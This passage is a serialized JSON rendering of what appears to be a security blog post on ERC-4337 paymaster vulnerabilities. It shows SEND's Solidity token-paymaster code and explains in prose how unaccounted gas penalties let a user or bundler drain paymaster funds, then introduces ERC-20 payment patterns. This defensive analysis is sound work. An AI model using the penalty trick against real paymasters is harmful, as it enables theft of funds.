",{"type":24,"tag":147,"props":109045,"children":109046},{"style":241},[109047],{"type":29,"value":20307},{"type":24,"tag":147,"props":109049,"children":109050},{"class":149,"line":452},[109051,109056,109060,109064,109069,109073,109078,109082,109086],{"type":24,"tag":147,"props":109052,"children":109053},{"style":9044},[109054],{"type":29,"value":109055},"                    uint256",{"type":24,"tag":147,"props":109057,"children":109058},{"style":235},[109059],{"type":29,"value":480},{"type":24,"tag":147,"props":109061,"children":109062},{"style":9044},[109063],{"type":29,"value":108604},{"type":24,"tag":147,"props":109065,"children":109066},{"style":235},[109067],{"type":29,"value":109068},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":147,"props":109070,"children":109071},{"style":241},[109072],{"type":29,"value":978},{"type":24,"tag":147,"props":109074,"children":109075},{"style":235},[109076],{"type":29,"value":109077},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":147,"props":109079,"children":109080},{"style":241},[109081],{"type":29,"value":624},{"type":24,"tag":147,"props":109083,"children":109084},{"style":705},[109085],{"type":29,"value":108809},{"type":24,"tag":147,"props":109087,"children":109088},{"style":235},[109089],{"type":29,"value":109090},"]));\n",{"type":24,"tag":147,"props":109092,"children":109093},{"class":149,"line":461},[109094,109098,109103,109107],{"type":24,"tag":147,"props":109095,"children":109096},{"style":321},[109097],{"type":29,"value":1601},{"type":24,"tag":147,"props":109099,"children":109100},{"style":235},[109101],{"type":29,"value":109102}," (clientSuppliedPrice ",{"type":24,"tag":147,"props":109104,"children":109105},{"style":241},[109106],{"type":29,"value":3583},{"type":24,"tag":147,"props":109108,"children":109109},{"style":235},[109110],{"type":29,"value":109111}," cachedPriceWithMarkup) {\n",{"type":24,"tag":147,"props":109113,"children":109114},{"class":149,"line":469},[109115,109120,109124],{"type":24,"tag":147,"props":109116,"children":109117},{"style":154},[109118],{"type":29,"value":109119},"                    // ",{"type":24,"tag":147,"props":109121,"children":109122},{"style":218},[109123],{"type":29,"value":72341},{"type":24,"tag":147,"props":109125,"children":109126},{"style":154},[109127],{"type":29,"value":109128},": smaller number means 'more native asset per token'\n",{"type":24,"tag":147,"props":109130,"children":109131},{"class":149,"line":508},[109132,109137,109141],{"type":24,"tag":147,"props":109133,"children":109134},{"style":235},[109135],{"type":29,"value":109136},"                    cachedPriceWithMarkup ",{"type":24,"tag":147,"props":109138,"children":109139},{"style":241},[109140],{"type":29,"value":369},{"type":24,"tag":147,"props":109142,"children":109143},{"style":235},[109144],{"type":29,"value":109145}," clientSuppliedPrice;\n",{"type":24,"tag":147,"props":109147,"children":109148},{"class":149,"line":572},[109149],{"type":24,"tag":147,"props":109150,"children":109151},{"style":235},[109152],{"type":29,"value":1666},{"type":24,"tag":147,"props":109154,"children":109155},{"class":149,"line":591},[109156],{"type":24,"tag":147,"props":109157,"children":109158},{"style":235},[109159],{"type":29,"value":1935},{"type":24,"tag":147,"props":109161,"children":109162},{"class":149,"line":632},[109163,109167,109172,109176,109181],{"type":24,"tag":147,"props":109164,"children":109165},{"style":9044},[109166],{"type":29,"value":108706},{"type":24,"tag":147,"props":109168,"children":109169},{"style":235},[109170],{"type":29,"value":109171}," tokenAmount ",{"type":24,"tag":147,"props":109173,"children":109174},{"style":241},[109175],{"type":29,"value":369},{"type":24,"tag":147,"props":109177,"children":109178},{"style":229},[109179],{"type":29,"value":109180}," weiToToken",{"type":24,"tag":147,"props":109182,"children":109183},{"style":235},[109184],{"type":29,"value":109185},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":147,"props":109187,"children":109188},{"class":149,"line":659},[109189,109194,109198],{"type":24,"tag":147,"props":109190,"children":109191},{"style":235},[109192],{"type":29,"value":109193},"            tokenAmount ",{"type":24,"tag":147,"props":109195,"children":109196},{"style":241},[109197],{"type":29,"value":74020},{"type":24,"tag":147,"props":109199,"children":109200},{"style":235},[109201],{"type":29,"value":109202}," baseFee;\n",{"type":24,"tag":147,"props":109204,"children":109205},{"class":149,"line":684},[109206,109211,109216,109221,109225,109229,109233],{"type":24,"tag":147,"props":109207,"children":109208},{"style":235},[109209],{"type":29,"value":109210},"            SafeERC20.",{"type":24,"tag":147,"props":109212,"children":109213},{"style":229},[109214],{"type":29,"value":109215},"safeTransferFrom",{"type":24,"tag":147,"props":109217,"children":109218},{"style":235},[109219],{"type":29,"value":109220},"(token, userOp.sender, ",{"type":24,"tag":147,"props":109222,"children":109223},{"style":9044},[109224],{"type":29,"value":38241},{"type":24,"tag":147,"props":109226,"children":109227},{"style":235},[109228],{"type":29,"value":480},{"type":24,"tag":147,"props":109230,"children":109231},{"style":218},[109232],{"type":29,"value":23299},{"type":24,"tag":147,"props":109234,"children":109235},{"style":235},[109236],{"type":29,"value":109237},"), tokenAmount);\n",{"type":24,"tag":147,"props":109239,"children":109240},{"class":149,"line":715},[109241,109246,109250,109255,109259,109264],{"type":24,"tag":147,"props":109242,"children":109243},{"style":235},[109244],{"type":29,"value":109245},"            context ",{"type":24,"tag":147,"props":109247,"children":109248},{"style":241},[109249],{"type":29,"value":369},{"type":24,"tag":147,"props":109251,"children":109252},{"style":218},[109253],{"type":29,"value":109254}," abi",{"type":24,"tag":147,"props":109256,"children":109257},{"style":235},[109258],{"type":29,"value":87},{"type":24,"tag":147,"props":109260,"children":109261},{"style":229},[109262],{"type":29,"value":109263},"encode",{"type":24,"tag":147,"props":109265,"children":109266},{"style":235},[109267],{"type":29,"value":109268},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":147,"props":109270,"children":109271},{"class":149,"line":744},[109272,109277],{"type":24,"tag":147,"props":109273,"children":109274},{"style":235},[109275],{"type":29,"value":109276},"            validationResult ",{"type":24,"tag":147,"props":109278,"children":109279},{"style":241},[109280],{"type":29,"value":20307},{"type":24,"tag":147,"props":109282,"children":109283},{"class":149,"line":784},[109284,109289,109293,109297,109301,109306,109311,109315,109320,109324],{"type":24,"tag":147,"props":109285,"children":109286},{"style":229},[109287],{"type":29,"value":109288},"                _packValidationData",{"type":24,"tag":147,"props":109290,"children":109291},{"style":235},[109292],{"type":29,"value":480},{"type":24,"tag":147,"props":109294,"children":109295},{"style":218},[109296],{"type":29,"value":13801},{"type":24,"tag":147,"props":109298,"children":109299},{"style":235},[109300],{"type":29,"value":546},{"type":24,"tag":147,"props":109302,"children":109303},{"style":9044},[109304],{"type":29,"value":109305},"uint48",{"type":24,"tag":147,"props":109307,"children":109308},{"style":235},[109309],{"type":29,"value":109310},"(cachedPriceTimestamp ",{"type":24,"tag":147,"props":109312,"children":109313},{"style":241},[109314],{"type":29,"value":624},{"type":24,"tag":147,"props":109316,"children":109317},{"style":235},[109318],{"type":29,"value":109319}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":147,"props":109321,"children":109322},{"style":705},[109323],{"type":29,"value":3173},{"type":24,"tag":147,"props":109325,"children":109326},{"style":235},[109327],{"type":29,"value":1473},{"type":24,"tag":147,"props":109329,"children":109330},{"class":149,"line":792},[109331],{"type":24,"tag":147,"props":109332,"children":109333},{"style":235},[109334],{"type":29,"value":441},{"type":24,"tag":147,"props":109336,"children":109337},{"class":149,"line":805},[109338],{"type":24,"tag":147,"props":109339,"children":109340},{"style":235},[109341],{"type":29,"value":1952},{"type":24,"tag":147,"props":109343,"children":109344},{"class":149,"line":813},[109345],{"type":24,"tag":147,"props":109346,"children":109347},{"style":235},[109348],{"type":29,"value":15939},{"type":24,"tag":147,"props":109350,"children":109351},{"class":149,"line":821},[109352,109356,109361,109365,109370,109374,109378,109382,109386,109390,109394,109399,109403,109407,109412],{"type":24,"tag":147,"props":109353,"children":109354},{"style":218},[109355],{"type":29,"value":95414},{"type":24,"tag":147,"props":109357,"children":109358},{"style":229},[109359],{"type":29,"value":109360}," _postOp",{"type":24,"tag":147,"props":109362,"children":109363},{"style":235},[109364],{"type":29,"value":480},{"type":24,"tag":147,"props":109366,"children":109367},{"style":218},[109368],{"type":29,"value":109369},"PostOpMode",{"type":24,"tag":147,"props":109371,"children":109372},{"style":235},[109373],{"type":29,"value":546},{"type":24,"tag":147,"props":109375,"children":109376},{"style":9044},[109377],{"type":29,"value":89411},{"type":24,"tag":147,"props":109379,"children":109380},{"style":218},[109381],{"type":29,"value":108590},{"type":24,"tag":147,"props":109383,"children":109384},{"style":247},[109385],{"type":29,"value":81924},{"type":24,"tag":147,"props":109387,"children":109388},{"style":235},[109389],{"type":29,"value":546},{"type":24,"tag":147,"props":109391,"children":109392},{"style":9044},[109393],{"type":29,"value":51768},{"type":24,"tag":147,"props":109395,"children":109396},{"style":247},[109397],{"type":29,"value":109398}," actualGasCost",{"type":24,"tag":147,"props":109400,"children":109401},{"style":235},[109402],{"type":29,"value":546},{"type":24,"tag":147,"props":109404,"children":109405},{"style":9044},[109406],{"type":29,"value":51768},{"type":24,"tag":147,"props":109408,"children":109409},{"style":247},[109410],{"type":29,"value":109411}," actualUserOpFeePerGas",{"type":24,"tag":147,"props":109413,"children":109414},{"style":235},[109415],{"type":29,"value":269},{"type":24,"tag":147,"props":109417,"children":109418},{"class":149,"line":1902},[109419],{"type":24,"tag":147,"props":109420,"children":109421},{"style":218},[109422],{"type":29,"value":108629},{"type":24,"tag":147,"props":109424,"children":109425},{"class":149,"line":1920},[109426],{"type":24,"tag":147,"props":109427,"children":109428},{"style":218},[109429],{"type":29,"value":108637},{"type":24,"tag":147,"props":109431,"children":109432},{"class":149,"line":1929},[109433],{"type":24,"tag":147,"props":109434,"children":109435},{"style":235},[109436],{"type":29,"value":3079},{"type":24,"tag":147,"props":109438,"children":109439},{"class":149,"line":1938},[109440,109444],{"type":24,"tag":147,"props":109441,"children":109442},{"style":321},[109443],{"type":29,"value":108694},{"type":24,"tag":147,"props":109445,"children":109446},{"style":235},[109447],{"type":29,"value":6630},{"type":24,"tag":147,"props":109449,"children":109450},{"class":149,"line":1946},[109451,109455,109459,109463],{"type":24,"tag":147,"props":109452,"children":109453},{"style":9044},[109454],{"type":29,"value":108706},{"type":24,"tag":147,"props":109456,"children":109457},{"style":235},[109458],{"type":29,"value":108711},{"type":24,"tag":147,"props":109460,"children":109461},{"style":241},[109462],{"type":29,"value":369},{"type":24,"tag":147,"props":109464,"children":109465},{"style":235},[109466],{"type":29,"value":108720},{"type":24,"tag":147,"props":109468,"children":109469},{"class":149,"line":1955},[109470,109474,109478,109482],{"type":24,"tag":147,"props":109471,"children":109472},{"style":9044},[109473],{"type":29,"value":108706},{"type":24,"tag":147,"props":109475,"children":109476},{"style":235},[109477],{"type":29,"value":108732},{"type":24,"tag":147,"props":109479,"children":109480},{"style":241},[109481],{"type":29,"value":369},{"type":24,"tag":147,"props":109483,"children":109484},{"style":235},[109485],{"type":29,"value":108741},{"type":24,"tag":147,"props":109487,"children":109488},{"class":149,"line":29376},[109489,109494,109498,109503,109507,109512,109516,109520,109524,109529,109534,109538,109542,109546],{"type":24,"tag":147,"props":109490,"children":109491},{"style":235},[109492],{"type":29,"value":109493},"            (",{"type":24,"tag":147,"props":109495,"children":109496},{"style":9044},[109497],{"type":29,"value":51768},{"type":24,"tag":147,"props":109499,"children":109500},{"style":235},[109501],{"type":29,"value":109502}," preCharge, ",{"type":24,"tag":147,"props":109504,"children":109505},{"style":9044},[109506],{"type":29,"value":38241},{"type":24,"tag":147,"props":109508,"children":109509},{"style":235},[109510],{"type":29,"value":109511}," userOpSender) ",{"type":24,"tag":147,"props":109513,"children":109514},{"style":241},[109515],{"type":29,"value":369},{"type":24,"tag":147,"props":109517,"children":109518},{"style":218},[109519],{"type":29,"value":109254},{"type":24,"tag":147,"props":109521,"children":109522},{"style":235},[109523],{"type":29,"value":87},{"type":24,"tag":147,"props":109525,"children":109526},{"style":229},[109527],{"type":29,"value":109528},"decode",{"type":24,"tag":147,"props":109530,"children":109531},{"style":235},[109532],{"type":29,"value":109533},"(context, (",{"type":24,"tag":147,"props":109535,"children":109536},{"style":9044},[109537],{"type":29,"value":51768},{"type":24,"tag":147,"props":109539,"children":109540},{"style":235},[109541],{"type":29,"value":546},{"type":24,"tag":147,"props":109543,"children":109544},{"style":9044},[109545],{"type":29,"value":38241},{"type":24,"tag":147,"props":109547,"children":109548},{"style":235},[109549],{"type":29,"value":12849},{"type":24,"tag":147,"props":109551,"children":109552},{"class":149,"line":29384},[109553,109558,109562,109567],{"type":24,"tag":147,"props":109554,"children":109555},{"style":235},[109556],{"type":29,"value":109557},"            preCharge ",{"type":24,"tag":147,"props":109559,"children":109560},{"style":241},[109561],{"type":29,"value":1913},{"type":24,"tag":147,"props":109563,"children":109564},{"style":235},[109565],{"type":29,"value":109566}," baseFee; ",{"type":24,"tag":147,"props":109568,"children":109569},{"style":154},[109570],{"type":29,"value":109571},"// don't refund the base fee\n",{"type":24,"tag":147,"props":109573,"children":109574},{"class":149,"line":29421},[109575,109579,109584,109588,109593,109597,109601],{"type":24,"tag":147,"props":109576,"children":109577},{"style":9044},[109578],{"type":29,"value":108706},{"type":24,"tag":147,"props":109580,"children":109581},{"style":235},[109582],{"type":29,"value":109583}," _cachedPrice ",{"type":24,"tag":147,"props":109585,"children":109586},{"style":241},[109587],{"type":29,"value":369},{"type":24,"tag":147,"props":109589,"children":109590},{"style":229},[109591],{"type":29,"value":109592}," updateCachedPrice",{"type":24,"tag":147,"props":109594,"children":109595},{"style":235},[109596],{"type":29,"value":480},{"type":24,"tag":147,"props":109598,"children":109599},{"style":218},[109600],{"type":29,"value":13801},{"type":24,"tag":147,"props":109602,"children":109603},{"style":235},[109604],{"type":29,"value":1473},{"type":24,"tag":147,"props":109606,"children":109607},{"class":149,"line":29434},[109608,109612,109616],{"type":24,"tag":147,"props":109609,"children":109610},{"style":154},[109611],{"type":29,"value":108958},{"type":24,"tag":147,"props":109613,"children":109614},{"style":218},[109615],{"type":29,"value":72341},{"type":24,"tag":147,"props":109617,"children":109618},{"style":154},[109619],{"type":29,"value":108967},{"type":24,"tag":147,"props":109621,"children":109622},{"class":149,"line":29447},[109623,109627,109631,109635,109639,109643,109647,109651],{"type":24,"tag":147,"props":109624,"children":109625},{"style":9044},[109626],{"type":29,"value":108706},{"type":24,"tag":147,"props":109628,"children":109629},{"style":235},[109630],{"type":29,"value":108979},{"type":24,"tag":147,"props":109632,"children":109633},{"style":241},[109634],{"type":29,"value":369},{"type":24,"tag":147,"props":109636,"children":109637},{"style":235},[109638],{"type":29,"value":109583},{"type":24,"tag":147,"props":109640,"children":109641},{"style":241},[109642],{"type":29,"value":244},{"type":24,"tag":147,"props":109644,"children":109645},{"style":235},[109646],{"type":29,"value":108997},{"type":24,"tag":147,"props":109648,"children":109649},{"style":241},[109650],{"type":29,"value":10204},{"type":24,"tag":147,"props":109652,"children":109653},{"style":235},[109654],{"type":29,"value":109006},{"type":24,"tag":147,"props":109656,"children":109657},{"class":149,"line":29460},[109658],{"type":24,"tag":147,"props":109659,"children":109660},{"style":154},[109661],{"type":29,"value":109662},"            // Refund tokens based on actual gas cost\n",{"type":24,"tag":147,"props":109664,"children":109665},{"class":149,"line":29514},[109666,109670,109675,109679,109684,109688,109693,109697],{"type":24,"tag":147,"props":109667,"children":109668},{"style":9044},[109669],{"type":29,"value":108706},{"type":24,"tag":147,"props":109671,"children":109672},{"style":235},[109673],{"type":29,"value":109674}," actualChargeNative ",{"type":24,"tag":147,"props":109676,"children":109677},{"style":241},[109678],{"type":29,"value":369},{"type":24,"tag":147,"props":109680,"children":109681},{"style":235},[109682],{"type":29,"value":109683}," actualGasCost ",{"type":24,"tag":147,"props":109685,"children":109686},{"style":241},[109687],{"type":29,"value":624},{"type":24,"tag":147,"props":109689,"children":109690},{"style":235},[109691],{"type":29,"value":109692}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":147,"props":109694,"children":109695},{"style":241},[109696],{"type":29,"value":244},{"type":24,"tag":147,"props":109698,"children":109699},{"style":235},[109700],{"type":29,"value":109701}," actualUserOpFeePerGas;\n",{"type":24,"tag":147,"props":109703,"children":109704},{"class":149,"line":29523},[109705,109709,109714,109718,109722],{"type":24,"tag":147,"props":109706,"children":109707},{"style":9044},[109708],{"type":29,"value":108706},{"type":24,"tag":147,"props":109710,"children":109711},{"style":235},[109712],{"type":29,"value":109713}," actualTokenNeeded ",{"type":24,"tag":147,"props":109715,"children":109716},{"style":241},[109717],{"type":29,"value":369},{"type":24,"tag":147,"props":109719,"children":109720},{"style":229},[109721],{"type":29,"value":109180},{"type":24,"tag":147,"props":109723,"children":109724},{"style":235},[109725],{"type":29,"value":109726},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":147,"props":109728,"children":109729},{"class":149,"line":37881},[109730,109734,109739,109743],{"type":24,"tag":147,"props":109731,"children":109732},{"style":321},[109733],{"type":29,"value":64385},{"type":24,"tag":147,"props":109735,"children":109736},{"style":235},[109737],{"type":29,"value":109738}," (preCharge ",{"type":24,"tag":147,"props":109740,"children":109741},{"style":241},[109742],{"type":29,"value":3453},{"type":24,"tag":147,"props":109744,"children":109745},{"style":235},[109746],{"type":29,"value":109747}," actualTokenNeeded) {\n",{"type":24,"tag":147,"props":109749,"children":109750},{"class":149,"line":37902},[109751],{"type":24,"tag":147,"props":109752,"children":109753},{"style":154},[109754],{"type":29,"value":109755},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":147,"props":109757,"children":109758},{"class":149,"line":86535},[109759,109764,109769,109774,109778],{"type":24,"tag":147,"props":109760,"children":109761},{"style":235},[109762],{"type":29,"value":109763},"                SafeERC20.",{"type":24,"tag":147,"props":109765,"children":109766},{"style":229},[109767],{"type":29,"value":109768},"safeTransfer",{"type":24,"tag":147,"props":109770,"children":109771},{"style":235},[109772],{"type":29,"value":109773},"(token, userOpSender, preCharge ",{"type":24,"tag":147,"props":109775,"children":109776},{"style":241},[109777],{"type":29,"value":3470},{"type":24,"tag":147,"props":109779,"children":109780},{"style":235},[109781],{"type":29,"value":109782}," actualTokenNeeded);\n",{"type":24,"tag":147,"props":109784,"children":109785},{"class":149,"line":86548},[109786,109790,109794,109798,109802,109806],{"type":24,"tag":147,"props":109787,"children":109788},{"style":235},[109789],{"type":29,"value":76177},{"type":24,"tag":147,"props":109791,"children":109792},{"style":321},[109793],{"type":29,"value":6625},{"type":24,"tag":147,"props":109795,"children":109796},{"style":321},[109797],{"type":29,"value":21397},{"type":24,"tag":147,"props":109799,"children":109800},{"style":235},[109801],{"type":29,"value":109738},{"type":24,"tag":147,"props":109803,"children":109804},{"style":241},[109805],{"type":29,"value":3583},{"type":24,"tag":147,"props":109807,"children":109808},{"style":235},[109809],{"type":29,"value":109747},{"type":24,"tag":147,"props":109811,"children":109812},{"class":149,"line":86556},[109813],{"type":24,"tag":147,"props":109814,"children":109815},{"style":154},[109816],{"type":29,"value":109817},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":147,"props":109819,"children":109820},{"class":149,"line":86564},[109821],{"type":24,"tag":147,"props":109822,"children":109823},{"style":154},[109824],{"type":29,"value":109825},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":147,"props":109827,"children":109828},{"class":149,"line":86572},[109829,109833,109837,109842,109846,109850,109854,109859,109863],{"type":24,"tag":147,"props":109830,"children":109831},{"style":235},[109832],{"type":29,"value":109763},{"type":24,"tag":147,"props":109834,"children":109835},{"style":229},[109836],{"type":29,"value":109215},{"type":24,"tag":147,"props":109838,"children":109839},{"style":235},[109840],{"type":29,"value":109841},"(token, userOpSender, ",{"type":24,"tag":147,"props":109843,"children":109844},{"style":9044},[109845],{"type":29,"value":38241},{"type":24,"tag":147,"props":109847,"children":109848},{"style":235},[109849],{"type":29,"value":480},{"type":24,"tag":147,"props":109851,"children":109852},{"style":218},[109853],{"type":29,"value":23299},{"type":24,"tag":147,"props":109855,"children":109856},{"style":235},[109857],{"type":29,"value":109858},"), actualTokenNeeded ",{"type":24,"tag":147,"props":109860,"children":109861},{"style":241},[109862],{"type":29,"value":3470},{"type":24,"tag":147,"props":109864,"children":109865},{"style":235},[109866],{"type":29,"value":109867}," preCharge);\n",{"type":24,"tag":147,"props":109869,"children":109870},{"class":149,"line":86612},[109871],{"type":24,"tag":147,"props":109872,"children":109873},{"style":235},[109874],{"type":29,"value":1935},{"type":24,"tag":147,"props":109876,"children":109877},{"class":149,"line":86620},[109878],{"type":24,"tag":147,"props":109879,"children":109880},{"emptyLinePlaceholder":16},[109881],{"type":29,"value":314},{"type":24,"tag":147,"props":109883,"children":109884},{"class":149,"line":93806},[109885,109889,109894,109898,109902],{"type":24,"tag":147,"props":109886,"children":109887},{"style":321},[109888],{"type":29,"value":64385},{"type":24,"tag":147,"props":109890,"children":109891},{"style":235},[109892],{"type":29,"value":109893}," (baseFee ",{"type":24,"tag":147,"props":109895,"children":109896},{"style":241},[109897],{"type":29,"value":3453},{"type":24,"tag":147,"props":109899,"children":109900},{"style":705},[109901],{"type":29,"value":708},{"type":24,"tag":147,"props":109903,"children":109904},{"style":235},[109905],{"type":29,"value":505},{"type":24,"tag":147,"props":109907,"children":109908},{"class":149,"line":93814},[109909,109913,109917],{"type":24,"tag":147,"props":109910,"children":109911},{"style":235},[109912],{"type":29,"value":109763},{"type":24,"tag":147,"props":109914,"children":109915},{"style":229},[109916],{"type":29,"value":109768},{"type":24,"tag":147,"props":109918,"children":109919},{"style":235},[109920],{"type":29,"value":109921},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":147,"props":109923,"children":109924},{"class":149,"line":107155},[109925],{"type":24,"tag":147,"props":109926,"children":109927},{"style":235},[109928],{"type":29,"value":1935},{"type":24,"tag":147,"props":109930,"children":109931},{"class":149,"line":107163},[109932],{"type":24,"tag":147,"props":109933,"children":109934},{"emptyLinePlaceholder":16},[109935],{"type":29,"value":314},{"type":24,"tag":147,"props":109937,"children":109938},{"class":149,"line":107171},[109939,109944,109949],{"type":24,"tag":147,"props":109940,"children":109941},{"style":321},[109942],{"type":29,"value":109943},"            emit",{"type":24,"tag":147,"props":109945,"children":109946},{"style":229},[109947],{"type":29,"value":109948}," UserOperationSponsored",{"type":24,"tag":147,"props":109950,"children":109951},{"style":235},[109952],{"type":29,"value":109953},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":147,"props":109955,"children":109956},{"class":149,"line":107179},[109957,109962],{"type":24,"tag":147,"props":109958,"children":109959},{"style":229},[109960],{"type":29,"value":109961},"            refillEntryPointDeposit",{"type":24,"tag":147,"props":109963,"children":109964},{"style":235},[109965],{"type":29,"value":109966},"(_cachedPrice);\n",{"type":24,"tag":147,"props":109968,"children":109969},{"class":149,"line":107207},[109970],{"type":24,"tag":147,"props":109971,"children":109972},{"style":235},[109973],{"type":29,"value":441},{"type":24,"tag":147,"props":109975,"children":109977},{"class":149,"line":109976},67,[109978],{"type":24,"tag":147,"props":109979,"children":109980},{"style":235},[109981],{"type":29,"value":1952},{"type":24,"tag":147,"props":109983,"children":109985},{"class":149,"line":109984},68,[109986],{"type":24,"tag":147,"props":109987,"children":109988},{"style":235},[109989],{"type":29,"value":827},{"type":24,"tag":25,"props":109991,"children":109992},{},[109993,109995,110001,110003,110008,110010,110016],{"type":29,"value":109994},"Looking at the code above, during ",{"type":24,"tag":80,"props":109996,"children":109998},{"className":109997},[],[109999],{"type":29,"value":110000},"validatePaymasterUserOp",{"type":29,"value":110002},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":80,"props":110004,"children":110006},{"className":110005},[],[110007],{"type":29,"value":108061},{"type":29,"value":110009}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":80,"props":110011,"children":110013},{"className":110012},[],[110014],{"type":29,"value":110015},"postOp",{"type":29,"value":110017},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":25,"props":110019,"children":110020},{},[110021,110023,110028,110030,110037],{"type":29,"value":110022},"However, there is a critical oversight: ",{"type":24,"tag":10949,"props":110024,"children":110025},{},[110026],{"type":29,"value":110027},"the code does not account for gas penalties",{"type":29,"value":110029},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":2773,"props":110031,"children":110034},{"href":110032,"rel":110033},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[2777],[110035],{"type":29,"value":110036},"penalties incurred",{"type":29,"value":110038}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":25,"props":110040,"children":110041},{},[110042],{"type":29,"value":110043},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":25,"props":110045,"children":110046},{},[110047,110049,110054],{"type":29,"value":110048},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":80,"props":110050,"children":110052},{"className":110051},[],[110053],{"type":29,"value":107760},{"type":29,"value":110055}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":32,"props":110057,"children":110059},{"id":110058},"incorrect-erc-20-handling",[110060],{"type":24,"tag":10949,"props":110061,"children":110062},{},[110063],{"type":29,"value":110064},"Incorrect ERC-20 Handling",{"type":24,"tag":25,"props":110066,"children":110067},{},[110068],{"type":29,"value":110069},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":25,"props":110071,"children":110072},{},[110073,110074,110079,110081,110086],{"type":29,"value":50896},{"type":24,"tag":80,"props":110075,"children":110077},{"className":110076},[],[110078],{"type":29,"value":107841},{"type":29,"value":110080}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":80,"props":110082,"children":110084},{"className":110083},[],[110085],{"type":29,"value":107760},{"type":29,"value":110087},"'s lifecycle:",{"type":24,"tag":2674,"props":110089,"children":110090},{},[110091,110101],{"type":24,"tag":2678,"props":110092,"children":110093},{},[110094,110096],{"type":29,"value":110095},"During validation via ",{"type":24,"tag":80,"props":110097,"children":110099},{"className":110098},[],[110100],{"type":29,"value":107948},{"type":24,"tag":2678,"props":110102,"children":110103},{},[110104,110106],{"type":29,"value":110105},"After execution via ",{"type":24,"tag":80,"props":110107,"children":110109},{"className":110108},[],[110110],{"type":29,"value":107959},{"type":24,"tag":25,"props":110112,"children":110113},{},[110114],{"type":29,"value":110115},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":43,"props":110117,"children":110119},{"id":110118},"_1-pre-payment-with-refund-pattern",[110120],{"type":29,"value":110121},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":25,"props":110123,"children":110124},{},[110125,110127,110132,110134,110139,110141,110147,110148,110154,110156,110161,110163,110168,110170,110175],{"type":29,"value":110126},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":80,"props":110128,"children":110130},{"className":110129},[],[110131],{"type":29,"value":107948},{"type":29,"value":110133},". After execution completes, ",{"type":24,"tag":80,"props":110135,"children":110137},{"className":110136},[],[110138],{"type":29,"value":107959},{"type":29,"value":110140}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":80,"props":110142,"children":110144},{"className":110143},[],[110145],{"type":29,"value":110146},"SEND",{"type":29,"value":855},{"type":24,"tag":80,"props":110149,"children":110151},{"className":110150},[],[110152],{"type":29,"value":110153},"Circle",{"type":29,"value":110155}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":80,"props":110157,"children":110159},{"className":110158},[],[110160],{"type":29,"value":107789},{"type":29,"value":110162},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":10949,"props":110164,"children":110165},{},[110166],{"type":29,"value":110167},"before",{"type":29,"value":110169}," execution (specifically during ",{"type":24,"tag":80,"props":110171,"children":110173},{"className":110172},[],[110174],{"type":29,"value":110000},{"type":29,"value":5745},{"type":24,"tag":43,"props":110177,"children":110179},{"id":110178},"_2-post-execution-charging-pattern",[110180],{"type":29,"value":110181},"2. Post-Execution Charging Pattern",{"type":24,"tag":25,"props":110183,"children":110184},{},[110185,110187,110192,110194,110199,110201,110206,110208,110213],{"type":29,"value":110186},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":80,"props":110188,"children":110190},{"className":110189},[],[110191],{"type":29,"value":107948},{"type":29,"value":110193},", the actual token payment is calculated and collected in ",{"type":24,"tag":80,"props":110195,"children":110197},{"className":110196},[],[110198],{"type":29,"value":107959},{"type":29,"value":110200}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":80,"props":110202,"children":110204},{"className":110203},[],[110205],{"type":29,"value":107760},{"type":29,"value":110207},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":80,"props":110209,"children":110211},{"className":110210},[],[110212],{"type":29,"value":108061},{"type":29,"value":110214},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":25,"props":110216,"children":110217},{},[110218,110220,110225,110227,110233,110235,110241,110243,110248],{"type":29,"value":110219},"This approach used to work in 